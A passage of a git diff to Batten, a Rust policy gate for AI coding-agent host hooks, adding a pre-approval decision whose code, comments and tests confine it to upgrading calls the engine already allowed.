adding after: declaration order here is an API fact `semver` reads as + /// `enum_no_repr_variant_discriminant_changed`, so a new variant goes at the + /// END and expresses its grouping through [`Capability::ALL`] and + /// [`Capability::DISPATCH`] instead. + Preapprove, } impl Capability { @@ -658,6 +699,7 @@ impl Capability { pub const ALL: &'static [Capability] = &[ Capability::Ask, Capability::Advisory, + Capability::Preapprove, Capability::StopVetoesCompletion, Capability::TimeoutFailsOpen, Capability::NeedsFailClosedConfig, @@ -675,6 +717,7 @@ impl Capability { pub const DISPATCH: &'static [Capability] = &[ Capability::Ask, Capability::Advisory, + Capability::Preapprove, Capability::StopVetoesCompletion, Capability::TimeoutFailsOpen, Capability::NeedsFailClosedConfig, @@ -707,6 +750,7 @@ impl Capability { match self { Capability::Ask => "ask", Capability::Advisory => "advisory", + Capability::Preapprove => "preapprove", Capability::StopVetoesCompletion => "stop-vetoes-completion", Capability::TimeoutFailsOpen => "timeout-fails-open", Capability::NeedsFailClosedConfig => "needs-fail-closed-config", @@ -817,6 +861,47 @@ impl AdvisoryReach { } } +/// Where a pre-approval is honoured on one host, and what that host declares. +/// +/// [`AdvisoryReach`]'s shape a third time, and the repetition is deliberate: +/// three channels asking "where, on this host, does this land" answer it the same +/// way, so a reader who has understood one has understood all three. Collapsing +/// them into one generic would save lines and cost the per-channel doc comment +/// that carries each one's degradation direction, which is the part that differs. +/// +/// The events are the **host's own spellings**, for the reason [`AskReach`] +/// gives: normalizing them would erase the granularity the fact lives at. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +#[non_exhaustive] +pub struct PreapproveReach { + /// The host event spellings on which an emitted pre-approval actually stops + /// the host prompting. + /// + /// Empty means Batten cannot spend a grant on this host — which resolves to + /// **silence**, never to a deny and never to an allow document the host would + /// read as something else. Silence returns the call to the ordinary permission + /// flow, which is the host's own default and cannot surprise anyone. + pub honoured_on: &'static [&'static str], + /// What the evidence says about the host itself, with its citation in the + /// row's own comment. + /// + /// Distinct from `honoured_on` for the reason the other two columns' pairs + /// are: the gap between what a host has and where Batten reaches it must be + /// **stated** rather than merely true — see `PREAPPROVE_GAPS`. + pub declared: Declaration, +} + +impl PreapproveReach { + /// The row for a host on which Batten cannot spend a grant. + #[must_use] + pub const fn unreachable(declared: Declaration) -> PreapproveReach { + PreapproveReach { + honoured_on: &[], + declared, + } + } +} + impl Capabilities { /// Whether this host emits `event`. #[must_use] @@ -850,6 +935,19 @@ impl Capabilities { self.advisory.delivered_on.contains(&raw_event) } + /// Whether a pre-approval emitted at this host's `raw_event` stops the host + /// prompting. + /// + /// The third of these, and the one whose wrong answer is worst in the quiet + /// direction: an unhonoured pre-approval is not a broken verdict, it is a + /// prompt the operator still sees — indistinguishable from the guard never + /// having run. So the table answers rather than the emitter guessing, which is + /// the drift [`Capabilities::ask_reachable`] was extracted to stop. + #[must_use] + pub fn preapprove_reachable(&self, raw_event: &str) -> bool { + self.preapprove.honoured_on.contains(&raw_event) + } + /// How faithfully this host's response can be captured on one shape /// (CLOUD-917). /// @@ -882,6 +980,7 @@ impl Capabilities { match capability { Capability::Ask => self.ask.declared, Capability::Advisory => self.advisory.declared, + Capability::Preapprove => self.preapprove.declared, Capability::StopVetoesCompletion => measured(self.stop_vetoes_completion), Capability::TimeoutFailsOpen => measured(self.timeout_fails_open), Capability::NeedsFailClosedConfig => measured(self.needs_fail_closed_config), @@ -1217,6 +1316,21 @@ impl Harness { delivered_on: &["PostToolBatch", "SessionStart", "Stop"], declared: Declaration::Yes, }, + // THE COMPLEMENT OF THE ROW ABOVE, and the only host that fills + // this column. `permissionDecision: "allow"` is documented on + // `PreToolUse` and is what stops the host prompting; the advisory + // row reaches three OTHER events and not this one, so the two + // columns partition the surfaces rather than overlapping on any. + // + // `PreToolUse` alone, not the other three pre-tool-ish events this + // host emits: a permission decision is meaningless after the call + // has run, and the host documents the field on exactly this one. + // That is a measurement rather than a narrowing — there is no + // `PostToolUse` prompt to suppress. + preapprove: PreapproveReach { + honoured_on: &["PreToolUse"], + declared: Declaration::Yes, + }, stop_vetoes_completion: false, timeout_fails_open: false, needs_fail_closed_config: false, @@ -1284,6 +1398,12 @@ impl Harness { // all, so the evidence does not answer. Recorded as a gap rather // than guessed into either value. advisory: AdvisoryReach::unreachable(Declaration::Unknown), + // `Unknown` for this host's own reason: M1 surveys its verdict + // vocabulary as allow/deny/ask and says nothing about a + // pre-approval that suppresses a prompt. `ask` here is enforced on + // two events, so the host clearly HAS a permission dialogue — what + // the evidence does not answer is whether anything skips it. + preapprove: PreapproveReach::unreachable(Declaration::Unknown), stop_vetoes_completion: false, timeout_fails_open: false, needs_fail_closed_config: true, @@ -1310,6 +1430,11 @@ impl Harness { // same reason: the output object is unconfirmed by primary // docs, so no envelope can be emitted without guessing one. advisory: AdvisoryReach::unreachable(Declaration::Unknown), + // Same evidentiary state as this host's other two channels: M1 + // names the `preToolUse` output FIELDS without naming the object + // they sit in, so no document can be emitted without guessing an + // envelope, and a guessed envelope reads as no decision at all. + preapprove: PreapproveReach::unreachable(Declaration::Unknown), stop_vetoes_completion: false, timeout_fails_open: true, needs_fail_closed_config: false, @@ -1337,6 +1462,13 @@ impl Harness { // the gap is Batten's rather than the host's. CLOUD-44's // per-host emitter shim is what would close it. advisory: AdvisoryReach::unreachable(Declaration::Yes), + // `Unknown` rather than the `Yes` its advisory row carries. That + // row is `Yes` because the host demonstrably HAS the channel and + // Batten cannot reach it; here the evidence does not establish the + // channel exists at all. Two different unreachabilities, and + // collapsing them would be the guess `Declaration` exists to + // refuse. + preapprove: PreapproveReach::unreachable(Declaration::Unknown), stop_vetoes_completion: false, timeout_fails_open: false, needs_fail_closed_config: false, @@ -1355,6 +1487,10 @@ impl Harness { // The survey names this host's verdict fields and no advisory // one. Unanswered, so `Unknown`. advisory: AdvisoryReach::unreachable(Declaration::Unknown), + // Unsurveyed, like this host's advisory row. Its `ask` field is + // "parsed but not supported yet", which says nothing either way + // about a grant. + preapprove: PreapproveReach::unreachable(Declaration::Unknown), stop_vetoes_completion: false, timeout_fails_open: false, needs_fail_closed_config: false, @@ -1374,6 +1510,12 @@ impl Harness { // itself defines, so the shape IS the answer rather than a gap // in somebody else's documentation. advisory: AdvisoryReach::unreachable(Declaration::No), + // `No`, measured, for the reason this adapter's other channels + // are: an exit status has three values and none of them can say + // "and do not prompt". This is Batten's own normalized envelope, + // so the shape IS the answer rather than a gap in somebody's + // documentation. + preapprove: PreapproveReach::unreachable(Declaration::No), stop_vetoes_completion: false, timeout_fails_open: false, needs_fail_closed_config: false, @@ -1622,6 +1764,30 @@ impl Event { ) } + /// Whether this moment decides **permission** for a call that has not run. + /// + /// **Narrower than [`Event::carries_a_verdict`], and deliberately not derived + /// from it.** The two questions look alike and diverge on exactly the events + /// that matter: `post-tool` and `post-tool-batch` carry a verdict — a deny + /// there is a finding about what already happened — and decide no permission, + /// because the call is over. A grant on those surfaces would be permission for + /// something already done, which is not a weaker version of a grant but a + /// meaningless one. `user-prompt-submit` carries a verdict too and names no + /// tool at all, so there is nothing to permit. + /// + /// This distinction was found by a test rather than by reading: the first + /// version of [`crate::handler::Handler::preapproves`]' load-time refusal + /// borrowed `carries_a_verdict`, which admitted `post-tool`. + /// + /// Host-independent by construction, which is what makes it usable at config + /// load. WHICH host honours a grant on a permitted moment is + /// [`Capabilities::preapprove_reachable`]'s question, asked at the boundary + /// against the host's own event spelling. + #[must_use] + pub const fn decides_permission(self) -> bool { + matches!(self, Event::PreTool) + } + /// The normalized token. Deliberately not a host spelling — a host's own /// word for an event travels in [`Envelope::raw_event`] and is echoed back /// verbatim, so this one is free to name the concept. @@ -2243,6 +2409,29 @@ pub enum Decision { /// channel. The boundary writes the line, so the audit and the verdict are /// decided in one place and cannot disagree about whether a call was waived. Waived(crate::waiver::Suppressed), + /// An allow the host is told not to prompt about, with the reason it spends. + /// + /// **An allow, not a fifth verdict**, on [`Decision::Waived`]'s own reading: + /// the call proceeds, exit `0`, §7's table untouched. What distinguishes it is + /// that something the operator already permitted was about to be asked about + /// again, and this says so instead. + /// + /// **It can only ever upgrade an [`Decision::Allow`], and the boundary enforces + /// that rather than trusting it.** A pre-approval that could replace a `Deny` + /// would let a dispatched program spend a refusal the engine's own rows + /// reached — which is the one direction this whole surface must be unable to + /// travel. `Deny`, `Ask` and `Waived` are all left standing. + /// + /// Carries a plain `String` rather than a [`Refusal`], and the asymmetry is the + /// point: a `Refusal` exists to name a remedy, and a grant has nothing to + /// remedy. What it owes instead is provenance — WHICH committed rule is being + /// projected onto WHICH live name — and that is prose its producer writes, + /// because only the producer knows. §5's "every refusal names something to + /// run" does not reach here, there being no refusal. + /// + /// Degrades to a plain allow wherever [`Capabilities::preapprove`] is + /// unreachable, which is silence and is the host's ordinary flow. + Preapproved(String), } /// Decode a harness payload into the normalized envelope. @@ -3362,7 +3551,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // `protected_write` renders exactly one verdict; the others are stated as // arms rather than wildcarded so a fifth `Decision` variant has to come // back here and be decided rather than silently falling through. - Decision::Allow | Decision::Ask(_) | Decision::Waived(_) => {} + Decision::Allow | Decision::Ask(_) | Decision::Waived(_) | Decision::Preapproved(_) => {} } // The content-keyed gate, AFTER the protected-path one and never instead of // it (CLOUD-758). The two ask different questions — which file, and what @@ -3371,7 +3560,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // reviewed file being replaced wholesale. match content_rules(policy, envelope, facts.prospective) { decided @ Decision::Deny(_) => return decided, - Decision::Allow | Decision::Ask(_) | Decision::Waived(_) => {} + Decision::Allow | Decision::Ask(_) | Decision::Waived(_) | Decision::Preapproved(_) => {} } // The tool-keyed gate (CLOUD-924), and its placement is the whole reason it // works: ABOVE the `command.is_empty()` early return, which every structured @@ -3385,7 +3574,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // call which receipt to earn. match tool_rules(policy, envelope) { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - Decision::Allow | Decision::Waived(_) => {} + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } // The per-call ceiling (CLOUD-925), beside the tool gate because it rides the // same selection and the same reason for being above the command early @@ -3398,7 +3587,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // before measuring anything keeps the order "cheapest decidable first". match manifest_ceiling(policy, envelope, facts.manifest) { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - Decision::Allow | Decision::Waived(_) => {} + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } let mut measured = 0; let ceiling = ceiling_rules(policy, envelope, &mut measured); @@ -3410,7 +3599,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis } match ceiling { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - Decision::Allow | Decision::Waived(_) => {} + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } // The write-triggered receipt gate (CLOUD-444), reached whether or not this // call also carries a command — a write tool carries none, and the early @@ -3428,18 +3617,23 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // gate rather than a wider condition on the write-triggered one below. match tool_receipt_rules(policy, envelope, receipts) { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - Decision::Allow | Decision::Waived(_) => {} + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } if envelope.writes.is_some() { match receipt_rules(policy, envelope, receipts) { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - // `Waived` is grouped with `Allow` throughout this chain, and it is an - // invariant rather than a case: only [`adjudicate`] mints one, from - // this function's answer, so no gate below can return it. Stated as an - // arm rather than a wildcard so a fifth variant still fails to compile - // here, and grouped with `Allow` because that is what a suppression - // means if the invariant ever breaks. - Decision::Allow | Decision::Waived(_) => {} + // `Waived` and `Preapproved` are grouped with `Allow` throughout this + // chain, and both are invariants rather than cases: only [`adjudicate`] + // mints a `Waived`, and only the BOUNDARY mints a `Preapproved` — from + // this function's answer in each case — so no gate below can return + // either. Stated as arms rather than a wildcard so a sixth variant + // still fails to compile here, and grouped with `Allow` because that is + // what a suppression and a grant both mean if the invariant breaks. + // + // The `Preapproved` half is the load-bearing one: a gate that could + // return it would be a rule GRANTING permission, and the whole reason + // that variant is minted outside this function is that no rule may. + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } } // The policy gate sits here, before the command early-return, deliberately: @@ -3454,7 +3648,7 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // quoted back, and its reason is more specific than a module's. match policy_rules(policy, envelope, facts) { decided @ (Decision::Deny(_) | Decision::Ask(_)) => return decided, - Decision::Allow | Decision::Waived(_) => {} + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => {} } if envelope.command.is_empty() { return Decision::Allow; @@ -3476,17 +3670,19 @@ fn adjudicated(policy: &Policy, envelope: &Envelope, facts: &Facts<'_>) -> Decis // whose verdict is thrown away is refused outright, so telling its author // which receipt to earn first would be advice about a call that is not // going to run (CLOUD-443). - Decision::Allow | Decision::Waived(_) => match pipeline_rules(policy, &envelope.command) { - decided @ (Decision::Deny(_) | Decision::Ask(_)) => decided, - Decision::Allow | Decision::Waived(_) => { - match receipt_rules(policy, envelope, receipts) { - decided @ (Decision::Deny(_) | Decision::Ask(_)) => decided, - Decision::Allow | Decision::Waived(_) => { - protected_write(policy, envelope, WriteStage::CommandParsed) + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => { + match pipeline_rules(policy, &envelope.command) { + decided @ (Decision::Deny(_) | Decision::Ask(_)) => decided, + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => { + match receipt_rules(policy, envelope, receipts) { + decided @ (Decision::Deny(_) | Decision::Ask(_)) => decided, + Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => { + protected_write(policy, envelope, WriteStage::CommandParsed) + } } } } - }, + } } } @@ -6774,6 +6970,62 @@ pub fn encode_advice( } } +/// Encode a **pre-approval** body for `harness`, or `None` where a grant is not +/// honoured on this surface. +/// +/// `None` is the caller's instruction to say nothing — which returns the call to +/// the host's ordinary permission flow. That is the same degradation +/// [`encode_advice`] takes and for a sharper reason: an unhonoured pre-approval +/// costs a prompt the operator sees, where an undelivered advisory costs a line +/// nobody reads. Neither may degrade to a deny, because refusing a call the +/// operator already permitted inverts the policy in the direction that hurts. +/// +/// **The one thing this must never do is manufacture permission.** The reason it +/// carries is a projection of a committed rule onto the name the host chose this +/// session, and the boundary only ever calls this after the engine's own decision +/// came back [`Decision::Allow`] — so a pre-approval cannot spend a refusal any +/// rule reached. That ordering is what keeps Batten a gate rather than the +/// reference monitor the scope reminder forbids. +/// +/// **The capability table is consulted first, and asked about THIS EVENT.** Claude +/// Code honours `permissionDecision` on `PreToolUse` and nowhere else — a +/// permission decision after the call has run decides nothing — so a host-level +/// question would put a grant on a surface that discards it, which reads exactly +/// like the guard never running. +/// +/// # Errors +/// +/// Serialization of this fixed shape cannot practically fail; the `Result` is the +/// honest signature for a serde boundary. +pub fn encode_preapproval( + harness: Harness, + event: &str, + reason: &str, +) -> serde_json::Result> { + // The table, consulted before the shape, and asked about this event. + if !harness.capabilities().preapprove_reachable(event) { + return Ok(None); + } + match harness { + // The same envelope a deny and an ask travel in, with the third verdict + // word. Reusing `encode_claude_verdict` is what stops this arm becoming a + // second opinion about the host's shape — the object is one object, and + // the word is the caller's. + Harness::ClaudeCode => encode_claude_verdict(event, "allow", reason).map(Some), + // No honoured surface, stated rather than wildcarded so a row that ever + // gains an `honoured_on` entry has to come back here and answer for its + // wire shape. Cursor's verdict vocabulary is surveyed and carries no + // prompt-suppressing value; Copilot's output object is unconfirmed; + // Gemini's and Codex's are unsurveyed for this channel; the neutral + // adapter's exit status has no room to say "and do not prompt". + Harness::Cursor + | Harness::CopilotCli + | Harness::GeminiCli + | Harness::CodexCli + | Harness::ExitCode => Ok(None), + } +} + /// Surfaces where an advisory is documented and Batten does not use it, /// **stated** (CLOUD-461). /// @@ -6805,6 +7057,27 @@ pub const ADVISORY_GAPS: &[(Harness, &str)] = &[ ), ]; +/// Surfaces where a pre-approval is honoured and Batten does not spend one, +/// **stated**. +/// +/// `ADVISORY_GAPS`' discipline on the fourth channel, and the failure mode it +/// guards is the quietest of the four: an unspent grant costs a permission +/// prompt, which looks exactly like the guard not being installed. A deny that +/// fails to reach a host is loud, an undelivered advisory is silent, and this is +/// silent AND visibly annoying to the operator, who has no way to tell which +/// layer failed. +/// +/// **Empty today, and the census below is what keeps that honest rather than +/// convenient.** Only Claude Code declares the channel, and it is honoured on +/// every surface where the question means anything — a permission decision after +/// the call has run decides nothing, so `PreToolUse` is not a subset of a wider +/// set that Batten declines to reach. There is no gap to state. Every other host +/// declares `No` or `Unknown`, and neither states a gap: measured-absent has +/// nothing to disagree with and unsurveyed has nothing to disagree *from*. +/// +/// `pub` because being readable IS the mechanism. +pub const PREAPPROVE_GAPS: &[(Harness, &str)] = &[]; + /// Hosts whose declared escalation and reachable escalation disagree, **stated**. /// /// CLOUD-601's load-bearing half: the current state must be *declared*, not @@ -7570,7 +7843,7 @@ mod tests { // for a sharper reason: it is a deny that was let through, so folding // it in here would let a suppression pass every assertion about what // a refusal says while the call actually ran. - Decision::Ask(_) | Decision::Allow | Decision::Waived(_) => { + Decision::Ask(_) | Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => { panic!("expected a deny") } } @@ -7581,7 +7854,7 @@ mod tests { fn denial(decision: Decision) -> Refusal { match decision { Decision::Deny(refusal) => refusal, - Decision::Ask(_) | Decision::Allow | Decision::Waived(_) => { + Decision::Ask(_) | Decision::Allow | Decision::Waived(_) | Decision::Preapproved(_) => { panic!("expected a deny") } } @@ -11012,6 +11285,81 @@ deny contains "V-REFUSED-BY-THE-MODULE" if { ); } + /// Every host that declares a pre-approval honours some of it, or the gap is + /// **stated**. + /// + /// `ADVISORY_GAPS`' census on the fourth channel, and it needs the same + /// discipline for a worse failure mode: an unspent grant costs the operator a + /// permission prompt, which is indistinguishable from the guard not being + /// installed at all. + /// + /// **The non-emptiness assertion the advisory census carries is deliberately + /// absent, and replaced rather than dropped.** `PREAPPROVE_GAPS` is empty + /// today because there is genuinely no gap: one host declares the channel and + /// honours it on every surface where a permission decision means anything. + /// Asserting non-emptiness would demand a gap be invented to satisfy a test. + /// What would make this census vacuous is no host declaring the channel at + /// all, so that is what is asserted instead — the loop must have judged at + /// least one declaring host. + /// + /// Fails by: adding an `honoured_on` surface to a host whose row says it has + /// none, or declaring the channel `Yes` on a host and reaching nothing without + /// writing the row. + #[test] + fn a_declared_preapproval_is_honoured_somewhere_or_the_gap_is_stated() { + let mut judged = 0_usize; + for harness in Harness::ALL { + let capabilities = harness.capabilities(); + let declared = capabilities.declares(Capability::Preapprove); + let stated = PREAPPROVE_GAPS.iter().any(|(row, _)| row == harness); + + // `No` and `Unknown` both mean nothing is reachable, for opposite + // reasons, and NEITHER states a gap — the advisory census's own + // reading, and it holds here unchanged: measured-absent has nothing to + // disagree with, unsurveyed has nothing to disagree *from*. + if matches!(declared, Declaration::No | Declaration::Unknown) { + assert!( + !stated, + "{}: declares `{}`, which is not a gap between a host and \ + Batten; the unanswered state IS the record", + harness.as_str(), + declared.as_str() + ); + assert!( + capabilities.preapprove.honoured_on.is_empty(), + "{}: honours a pre-approval somewhere while declaring `{}` — \ + the column and the declaration disagree", + harness.as_str(), + declared.as_str() + ); + continue; + } + + judged += 1; + let events = capabilities.events.len(); + let reached = capabilities.preapprove.honoured_on.len(); + if stated { + assert!( + reached < events, + "{}: PREAPPROVE_GAPS names it and every emitted surface already \ + honours a grant — remove the row rather than leaving the citation", + harness.as_str() + ); + } else { + assert!( + reached > 0, + "{}: declares the channel, honours none of it, and states no \ + gap. A gap must be STATED, never merely true", + harness.as_str() + ); + } + } + assert!( + judged > 0, + "no host declares a pre-approval, so this census judged nothing" + ); + } + // --------------------------------------------------------------------- // CLOUD-779: the neutral operation layer, and CLOUD-601's event-scoped ask. // --------------------------------------------------------------------- diff --git a/crates/batten/src/lib.rs b/crates/batten/src/lib.rs index 29aa66f07..a0f9767ee 100644 --- a/crates/batten/src/lib.rs +++ b/crates/batten/src/lib.rs @@ -3295,7 +3295,7 @@ fn run_hook( if !advice.is_empty() { emit_advisory(harness, &envelope, out, err, &advice.join("\n\n"))?; } - let decision = handled.unwrap_or_else(|| hook::adjudicate(&policy, &envelope, &facts)); + let decision = compose(handled, &policy, &envelope, &facts); // Resolved HERE rather than inside `render`, because `render` deliberately // cannot see the policy (CLOUD-898) and that property is worth more than the // convenience: a renderer that cannot see the inputs cannot re-decide by @@ -3355,6 +3355,51 @@ fn fill_turn_advice( } } +/// Reconcile what a handler said with what the engine decides. +/// +/// **A handler's refusal REPLACES the engine's decision; a handler's grant may +/// only UPGRADE an allow.** Both halves are enforced here rather than promised, +/// and the asymmetry is the whole safety property of the pre-approval channel: a +/// `Deny` from either side is a stop, so a dispatched program refusing is at worst +/// redundant — while a grant that could replace a decision would let a dispatched +/// program spend a refusal the engine's own rows reached. +/// +/// [`hook::Decision::Waived`] is deliberately not upgraded either. A waived deny +/// is a refusal that was let through and owes a record; telling the host not to +/// prompt about it would suppress the one trace the waiver table exists to leave. +/// +/// This is the second of the pre-approval's two bounds, and the split is what +/// keeps either from being a comment: [`dispatch_handlers`] enforces that a +/// refusal outranks a grant *among handlers*, because only it sees them all, and +/// this enforces that the engine outranks both, because only this has the +/// engine's answer. +/// +/// `adjudicate` is called at most once on every path, which is also why this is a +/// function rather than an expression at the call site: the pre-approval arm needs +/// the engine's decision to decide whether to keep the grant, and a reader has to +/// be able to see that it is not consulted twice. +fn compose( + handled: Option, + policy: &hook::Policy, + envelope: &hook::Envelope, + facts: &hook::Facts<'_>, +) -> hook::Decision { + match handled { + Some(hook::Decision::Preapproved(reason)) => { + match hook::adjudicate(policy, envelope, facts) { + hook::Decision::Allow => hook::Decision::Preapproved(reason), + // The engine decided something, so the grant is dropped — silently. + // It carries no finding, and reporting "a handler wanted to allow + // this" beside a refusal would read as a disagreement the reader has + // to arbitrate when the arbitration has already happened. + decided => decided, + } + } + Some(forced) => forced, + None => hook::adjudicate(policy, envelope, facts), + } +} + /// Fill the advisory buffer from the two producers that ride a batch boundary. /// /// Split out of `run_hook` so the batch-boundary question lives in one place — @@ -3482,6 +3527,23 @@ fn dispatch_handlers( // reach. `Event::carries_a_verdict` is the one authority both producers ask, // so this cannot drift from `adjudicate`'s arms. let Some((id, reason)) = dispatched.refusal() else { + // NO REFUSAL, SO A GRANT MAY BE CONSIDERED — and only in that order. A + // refusal outranks a pre-approval absolutely: two handlers disagreeing + // about one call resolve toward the refusal, because a grant that could + // overrule one would let a dispatched program spend a verdict another + // dispatched program reached. + // + // Returned as a `Preapproved` for the CALLER to reconcile with the + // engine's own decision, never as a decision in itself. That second bound + // — a grant may only upgrade an `Allow` — is `run_hook`'s, because only + // `run_hook` has the engine's answer in hand. Splitting the two bounds + // across the two functions that can each enforce one is what keeps either + // from being a comment. + if let Some((id, reason)) = dispatched.preapproval() { + return Ok(Some(hook::Decision::Preapproved(format!( + "hook.handler.{id}: {reason}" + )))); + } return Ok(None); }; if !envelope.event.carries_a_verdict() { @@ -5151,6 +5213,28 @@ fn render( None => Err(Denial::raise(reason)), } } + // The pre-approval, and it is the mirror image of the arm above it. An + // unreachable escalation degrades to a REFUSAL, because "ask a human" + // becoming "go ahead" inverts the policy. An unreachable pre-approval + // degrades to a plain ALLOW, because "do not prompt" becoming "prompt" is + // the host's own default — the operator sees a dialogue they would have + // seen anyway, and nothing was decided that nobody asked for. + // + // Which means `None` here is silence rather than an error, and the exit + // code is the same `0` either way. That symmetry is the whole reason this + // is a variant and not a flag on `Allow`: the degradation is decided once, + // here, by the one function that consults the capability table. + // + // Nothing in `adjudicate` can produce this value — its gates group it with + // `Allow` and say why — so reaching this arm means a `[[hook.handler]]` + // declaring `preapproves` returned an advisory AND the engine's own + // decision was already an allow. The upgrade is bounded there, not here. + hook::Decision::Preapproved(reason) => { + if let Some(body) = hook::encode_preapproval(harness, &envelope.raw_event, &reason)? { + writeln!(out, "{body}")?; + } + Ok(ExitCode::Success) + } } } diff --git a/mise-tasks/connector-allow-guard.sh b/mise-tasks/connector-allow-guard.sh index 50d2c0c71..e211f2418 100755 --- a/mise-tasks/connector-allow-guard.sh +++ b/mise-tasks/connector-allow-guard.sh @@ -34,20 +34,24 @@ # carries. Emitting nothing leaves the ordinary permission flow to prompt, which # is exactly the failure during a UUID episode. # -# AND THE DOOR HAS NO CHANNEL FOR IT, WHICH IS A STATED LOSS RATHER THAN AN -# OMISSION. `hook.rs` encodes `deny` and `ask` and nothing else — there is no -# `Outcome` a handler can return that becomes `permissionDecision: "allow"`, and -# `AdvisoryReach` for this host does not list the pre-tool event either, so an -# advisory here has no model-facing surface to land on. +# AND THE DOOR CARRIES IT THROUGH `preapproves`, which is this row's own column +# in `batten.toml`. For one commit it did not: `hook.rs` encoded `deny` and `ask` +# and nothing else, and `AdvisoryReach` for this host does not list the pre-tool +# event — so the allow arm's text went to the engine's stderr, transcript-only, +# and the prompt CLOUD-191 exists to remove came back. That is what the column +# closes. # -# WHAT IT DOES INSTEAD, MEASURED RATHER THAN ASSUMED: the engine writes it to its -# own stderr, which this host shows in the transcript and not to the model. So -# the allow arm emits advisory text — inert for the approval prompt CLOUD-191 -# exists to remove, visible to a human reading the session, correct under the -# contract, and the shape that starts working the day either channel reaches -# pre-tool. What it is NOT is a document that gets dropped, because a dropped -# allow and a delivered one are byte-identical from in here. CLOUD-898 owns the -# door and therefore the missing channel; the trace is recorded there. +# NOTHING IN THIS FILE CHANGED TO GET IT, and that is the shape of the mechanism +# rather than a coincidence. Exit 0 with text on stdout is what this arm already +# printed; the ROW says whether that text is advice or a grant, because §7's exit +# table has no fourth code to spend and stdout's shape is already spoken for by +# the impersonation check. A row without the column behaves exactly as before. +# +# THE GRANT CANNOT OVERRULE A REFUSAL, enforced at the boundary rather than +# promised here: a pre-approval only ever upgrades a decision that was already an +# allow, so no verdict any rule reached can be spent by this arm. What it grants +# is a projection of a rule the operator already committed onto the name the host +# happens to be exposing — which is why it grants nothing new, and why it may. # # `silence` is emitted as literally nothing, which is not the same as `allow`: it # hands the call back to the ordinary flow, so a name this file cannot resolve diff --git a/schema/batten.schema.json b/schema/batten.schema.json index ffffc5b61..c0f0f9798 100644 --- a/schema/batten.schema.json +++ b/schema/batten.schema.json @@ -1284,6 +1284,10 @@ "null" ] }, + "preapproves": { + "description": "Whether this handler's advisory is a **pre-approval** rather than a note.\n\nCLOUD-191's channel, and the reason it is a column rather than a new exit\ncode: §7's table is `0/1/2/3` with no per-kind exception, and\n[`Outcome::Advise`] already occupies exit `0` with output. A third meaning\ndistinguished by the *shape* of stdout is exactly what [`impersonates_host`]\nrefuses, so the capability is DECLARED here and the channel stays the exit\ncode the handler already has. A row without this behaves exactly as it does\ntoday, and no new vocabulary enters the stream.\n\n**What it buys.** `connector-allow-guard` reads the session's injected MCP\nconfig to learn which of a server's two names — readable or UUID — is live\nthis session, and applies the committed verdict to the live spelling. Its\nallow arm has to reach the host as `permissionDecision: \"allow\"` or the\noperator is prompted for a grant they already wrote down.\n\n**What it cannot buy.** A pre-approval only ever upgrades a decision that\nwas already an allow; the boundary enforces that rather than trusting it, so\nno handler can spend a refusal the engine's own rows reached. And it is\nrefused at load on any event whose host does not honour one, because a\ndeclared grant that lands nowhere is indistinguishable from this handler\nnever having run.", + "type": "boolean" + }, "run": { "description": "The command, as argv. Never a shell string.\n\nargv rather than a command line so there is no quoting layer between what\nan operator wrote and what runs: no word splitting, no glob expansion, no\ncommand substitution.", "type": "array", diff --git a/tests/connector-allow-door.bats b/tests/connector-allow-door.bats index ffad7de84..ad3d796fe 100644 --- a/tests/connector-allow-door.bats +++ b/tests/connector-allow-door.bats @@ -1,5 +1,11 @@ #!/usr/bin/env bats -# subject: mise-tasks/connector-allow-guard.sh, through `batten hook` +# subject: mise-tasks/connector-allow-guard.sh +# +# Everything after `# subject:` is read as whitespace-separated PATHS — the +# subject buys this file's own deletion when every path it names has died, so +# prose there names four files that do not exist and the header rots by +# construction. What this suite drives the subject THROUGH — `batten hook`, the +# door — belongs in this sentence rather than in that line. # # THE SECOND TIER, and the tier that finds this class. `tests/connector-allow- # guard.bats` runs the script directly and reads what it printed; that is the @@ -56,6 +62,7 @@ setup() { echo 'run = ["mise-tasks/connector-allow-guard.sh"]' echo 'matcher = "^mcp__"' echo "timeout_ms = 5000" + echo "preapproves = true" echo 'owner = "CLOUD-312"' echo 'expires = "2027-02-28"' } >"$REPO/batten.toml" @@ -122,25 +129,61 @@ door() { # door [[ "$DOOR_OUT" != *bbbbbbbb* ]] } -@test "a committed allow is read as advice, and lands where an advisory lands" { - # The half the door has no channel for (CLOUD-898), pinned at exactly what it - # does rather than at what it should do. A row asserting `permissionDecision: - # "allow"` would be asserting a channel that does not exist; a row asserting - # only "not denied" would pass over the dropped document this suite exists to - # refuse, AND over a handler that never ran. +@test "a committed allow reaches the host as a pre-approval, not as a dropped note" { + # THE ROW CLOUD-191 EXISTS FOR, and the one this suite could not assert for two + # commits. Its history is worth keeping because each version was true when it + # was written: + # + # 1. The guard wrote `permissionDecision: "allow"` itself. Behind the door + # that is `Violation::ImpersonatedHost` — reported and dropped. + # 2. It emitted advisory text instead, which was correct under the contract + # and inert: `AdvisoryReach` for this host lists `PostToolBatch`, + # `SessionStart` and `Stop`, not the pre-tool event, so the reason landed + # on the engine's own stderr and the prompt came back 